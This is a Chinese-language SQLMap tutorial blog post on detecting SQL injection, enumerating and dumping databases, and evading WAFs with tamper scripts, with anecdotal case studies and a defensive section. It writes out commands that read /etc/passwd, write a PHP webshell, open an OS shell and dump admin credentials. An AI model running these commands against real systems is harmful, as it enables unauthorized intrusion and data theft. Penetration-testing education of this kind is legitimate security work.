文章总结: 本文是SQLMap工具的完整使用指南,详细介绍了其安装方法、核心命令、实战案例及WAF绕过技巧。文档强调SQLMap作为自动化SQL注入工具的高效性,涵盖从基础检测到数据枚举、文件读写等高阶功能,并提供针对不同数据库和WAF环境的实战解决方案。同时从防御角度给出开发与运维层面的安全建议,包括参数化查询和WAF配置等重要措施。 综合评分: 85 文章分类: 渗透测试,WEB安全,安全工具,实战经验,漏洞分析
SQLMap中文试用手册:从零基础到实战高手的完整指南
原创
逍遥 逍遥
逍遥子讲安全
2026年3月29日 17:54 广东
在小说阅读器读本章
去阅读
写了一篇真正能用的SQLMap教程,不吹不黑,全是干活踩过的坑和总结的经验。
一、SQLMap到底是什么?能干什么?
SQLMap是目前市面上最成熟的自动化SQL注入工具,没有之一。用Python写的,开源免费,支持MySQL、Oracle、PostgreSQL、MSSQL、SQLite等几乎所有主流数据库。
它能干的事:
- 自动检测GET/POST/Cookie/Header里的注入点
- 识别布尔盲注、时间盲注、报错注入、联合查询注入
- 枚举数据库、表、字段、数据
- 读取服务器文件、写Webshell
- 反弹Shell、执行系统命令
- 绕过WAF(配合tamper脚本)
说白了,你手工测半天的事情,它几秒钟就能跑完。但前提是——你得会用,而且得用对。
二、安装与基础配置(5分钟搞定)
2.1 安装方式
Kali Linux用户: 系统自带,终端直接敲sqlmap就行。
其他Linux/Mac用户:
bash
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.gitcd sqlmappython sqlmap.py
Windows用户: 去GitHub下载压缩包解压,进目录双击sqlmap.bat。
bash
python sqlmap.py -u "http://test.com/page.php?id=1"
就这一条命令,工具会自动检测这个URL的id参数有没有注入点。
运行后会看到什么:
__H__ ___ ___[.]_____ ___ ___ {1.8.7#stable}|_ -| . [)] | .'| . ||___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org
看到这个logo,说明工具跑起来了。
三、核心命令大全(背下来能解决90%的场景)
3.1 基础检测
| 场景 | 命令 |
| — | — |
| GET型注入 | sqlmap -u "http://test.com/page?id=1" |
| POST型注入 | sqlmap -u "http://test.com/login" --data="user=admin&pass=123" |
| 指定测试参数 | sqlmap -u "http://test.com/page?id=1&cat=2" -p "id" |
| 带Cookie | sqlmap -u "http://test.com/page?id=1" --cookie="PHPSESSID=xxx" |
| 随机User-Agent | sqlmap -u "http://test.com/page?id=1" --random-agent |
实测经验: 用--random-agent很重要,默认UA里带着”sqlmap”字样,不换的话WAF一抓一个准。
3.2 数据枚举(核心中的核心)
确认有注入后,按这个顺序往下跑:
bash# 1. 看当前用户是谁sqlmap -u "http://test.com/page?id=1" --current-user
# 2. 看当前数据库sqlmap -u "http://test.com/page?id=1" --current-db
# 3. 列出所有数据库sqlmap -u "http://test.com/page?id=1" --dbs
# 4. 列出指定数据库的表sqlmap -u "http://test.com/page?id=1" -D 数据库名 --tables
# 5. 列出表的字段sqlmap -u "http://test.com/page?id=1" -D 数据库名 -T 表名 --columns
# 6. 导出数据sqlmap -u "http://test.com/page?id=1" -D 数据库名 -T 表名 -C 字段1,字段2 --dump
踩坑提醒: --dump导出大量数据时会很慢,建议加上--threads=5开多线程加速。但线程数别设太高,容易被封IP。
3.3 高阶玩法
| 功能 | 命令 |
| — | — |
| 读服务器文件 | sqlmap -u "url" --file-read="/etc/passwd" |
| 写Webshell | sqlmap -u "url" --file-write="shell.php" --file-dest="/var/www/html/shell.php" |
| 反弹Shell | sqlmap -u "url" --os-shell |
| 执行SQL语句 | sqlmap -u "url" --sql-query="SELECT * FROM users" |
| 批量测试 | sqlmap -m targets.txt |
注意: 文件读写和os-shell需要DBA权限,不是每个注入点都能用。
四、实战案例:真实环境下的SQLMap使用
案例1:一个登录框引发的血案
场景: 某系统登录页面,抓包发现是POST请求。
第一步:测试注入点
bash
sqlmap -u "http://target.com/login" --data="username=admin&password=123" --level=3
加上--level=3是因为有些注入点在HTTP头里,默认level=1测不到。
第二步:发现注入 跑了大概两分钟,工具报出”Parameter ‘username’ is vulnerable”。确认是布尔盲注。
第三步:枚举数据
bashsqlmap -u "http://target.com/login" --data="username=admin&password=123" --current-dbsqlmap -u "http://target.com/login" --data="username=admin&password=123" -D 库名 --tablessqlmap -u "http://target.com/login" --data="username=admin&password=123" -D 库名 -T 表名 --dump
结果: 跑出管理员账号密码,成功登录后台。
案例2:碰上非主流数据库怎么办?
真实经历: 有次测一个日志管理系统,参数带单引号报错,报错信息显示是ClickHouse数据库。
问题: SQLMap默认不支持ClickHouse,直接跑sqlmap -u "url"提示”does not seem to be injectable”。
解决思路:
- 手工分析报错信息,确认参数被带入SQL语句
- 发现参数值是
tmp/log,删掉/log后报”Table apaaslog.tmp doesn’t exist” - 推测查询语句是
SELECT * FROM apaaslog.参数 - 尝试用
system.tables(ClickHouse系统表)测试,语句能执行 - 最终成功爆出表名,拿到数据
教训: SQLMap不是万能的,碰上非主流数据库得自己动手。但可以用--sql-query参数执行自定义SQL语句。
案例3:Swagger接口的SQL注入
场景: 通过信息收集发现Swagger UI界面,里面有一堆API接口。
测试过程:
- 逐个测试接口,发现有个接口参数带入数据库
- 参数值是
logstore,改成/tmp/log报错 - 最终确认是ClickHouse数据库
- 用ClickHouse语法构造查询,成功获取数据
启示: Swagger接口是SQL注入的重灾区,很多开发直接把接口暴露在外还不做权限校验。
五、WAF绕过:Tamper脚本的实战用法
碰到WAF别慌,SQLMap的tamper脚本就是专门干这个的。
5.1 常用tamper组合
场景1:关键字被过滤(SELECT、UNION等)
bash
sqlmap -u "url" --tamper=space2comment,equaltolike,between
space2comment:把空格换成/**/注释equaltolike:把=换成LIKEbetween:把比较操作换成BETWEEN
实测案例: 某系统常规注入能检测到,但查数据时一直卡住。加上上面三个tamper后,成功跑出数据库名。
场景2:大小写敏感过滤
bash
sqlmap -u "url" --tamper=randomcase,charencode
randomcase:随机大小写,比如SeLeCtcharencode:URL编码
场景3:ModSecurity等高强度WAF
bash
sqlmap -u "url" --tamper=space2comment,apostrophemask,base64encode --level=3 --risk=2
apostrophemask:单引号编码base64encode:整个payload做Base64编码
5.2 tamper组合技巧
1. 先单独测,再组合
bash# 第一步:只用一个tampersqlmap -u "url" --tamper=space2comment# 第二步:逐步增加sqlmap -u "url" --tamper=space2comment,equaltolike
一次加太多tamper会导致性能急剧下降,而且不知道哪个有效。
2. 结合–level和–risk
bash
sqlmap -u "url" --tamper=space2comment --level=3 --risk=2
--level越高测试的payload越多,--risk越高用的手法越激进。
3. 先识别WAF类型
sqlmap -u "url" --identify-waf
知道是什么WAF,选tamper更有针对性。
5.3 真实绕过案例
某次测试目标用了Cloudflare,常规注入直接被拦。
最终命令:
sqlmap -u "http://target.com/page?id=1" \ --tamper=space2comment,randomcase,charencode \ --random-agent \ --proxy="http://127.0.0.1:8080" \ --level=3 \ --risk=2
加了代理是为了用Burp看请求包,方便调试。跑了半小时,成功绕过Cloudflare拿到数据。
六、SQLMap参数深度解析
6.1 Level参数:从1到5的区别
| Level | 测试内容 | 使用场景 | | — | — | — | | 1 | 只测GET/POST参数 | 快速检测 | | 2 | 加测Cookie | 常规测试 | | 3 | 加测User-Agent、Referer | 深入测试 | | 4/5 | 加测更多HTTP头 | WAF绕过、复杂环境 |
大多数情况下--level=3够用了,再高会非常慢。
6.2 Risk参数:激进程度
| Risk | 行为 | 风险 |
| — | — | — |
| 1 | 常规payload | 安全 |
| 2 | 加OR 1=1类语句 | 可能改数据 |
| 3 | 加DROP TABLE类语句 | 可能删数据 |
千万别在生产环境用--risk=3,搞不好就把人家数据库删了。
6.3 其他实用参数
| 参数 | 作用 |
| — | — |
| --batch | 自动选默认选项,不打断运行 |
| --delay=2 | 每次请求间隔2秒,防WAF |
| --timeout=10 | 超时10秒 |
| --threads=5 | 5个线程并发,加速导出 |
| --output-dir=/path | 指定结果保存目录 |
| --flush-session | 清空缓存重新测 |
七、常见问题与排坑指南
7.1 “does not seem to be injectable”
原因:
- WAF拦截了
- 确实没有注入
- level太低没测到
- 参数在JSON/XML里,没被识别
解决方法:
- 加
--level=3再试 - 用
--data明确指定参数 - 加
--tamper试绕过 - 手工测一下确认到底有没有
7.2 跑着跑着突然停了
原因: 触发WAF封IP了,或者网络断了。
解决方法:
sqlmap -u "url" --resume
SQLMap会自动从上次中断的地方继续。
7.3 导出数据全是乱码
原因: 字符集不对。
解决方法:
sqlmap -u "url" --dbms=mysql --hex
用十六进制输出,或者指定正确的字符集。
7.4 跑太慢怎么办?
sqlmap -u "url" --threads=5 --delay=1 --batch
加并发、加延时、开batch模式。但并发别太高,容易被封。
八、防御视角:怎么防SQLMap
8.1 开发层面
1. 参数化查询(最根本)
python
# 危险写法cursor.execute("SELECT * FROM users WHERE id = " + user_id)# 安全写法cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
2. 最小权限原则
- 应用连接数据库只用只读账号
- 不要用root/DBA账号连应用
3. 错误信息不暴露细节
- 不要返回具体SQL错误
- 统一返回”系统繁忙”
8.2 运维层面
1. WAF配置
- 拦截SQLMap默认User-Agent
- 配置请求频率限制
- 开启SQL注入规则集
2. 日志监控
- 监控异常参数(
'、AND 1=1、SLEEP() - 监控高频请求
- 设置告警阈值
3. 定期渗透测试
- 自己先用SQLMap扫一遍
- 别等黑客来帮你测
九、写在最后
SQLMap确实强大,但它不是银弹。
碰上简单的注入点,它几秒钟就能搞定。碰上复杂的WAF、非主流数据库、JSON参数里的注入,还是得靠手工分析和经验。
我自己的习惯是:
- 先用Burp抓包,确认参数位置
- 手工测一下有没有注入迹象
- 确认有戏了再用SQLMap跑
- 跑不动就换tamper,再跑不动就自己写Payload
一句话总结:SQLMap是你的得力助手,但别指望它能替你思考。
对了,所有测试一定要在授权范围内进行。没授权就扫,轻则封IP,重则吃官司。做安全这行,底线比技术重要。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:逍遥子讲安全 逍遥 逍遥《SQLMap中文试用手册:从零基础到实战高手的完整指南》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论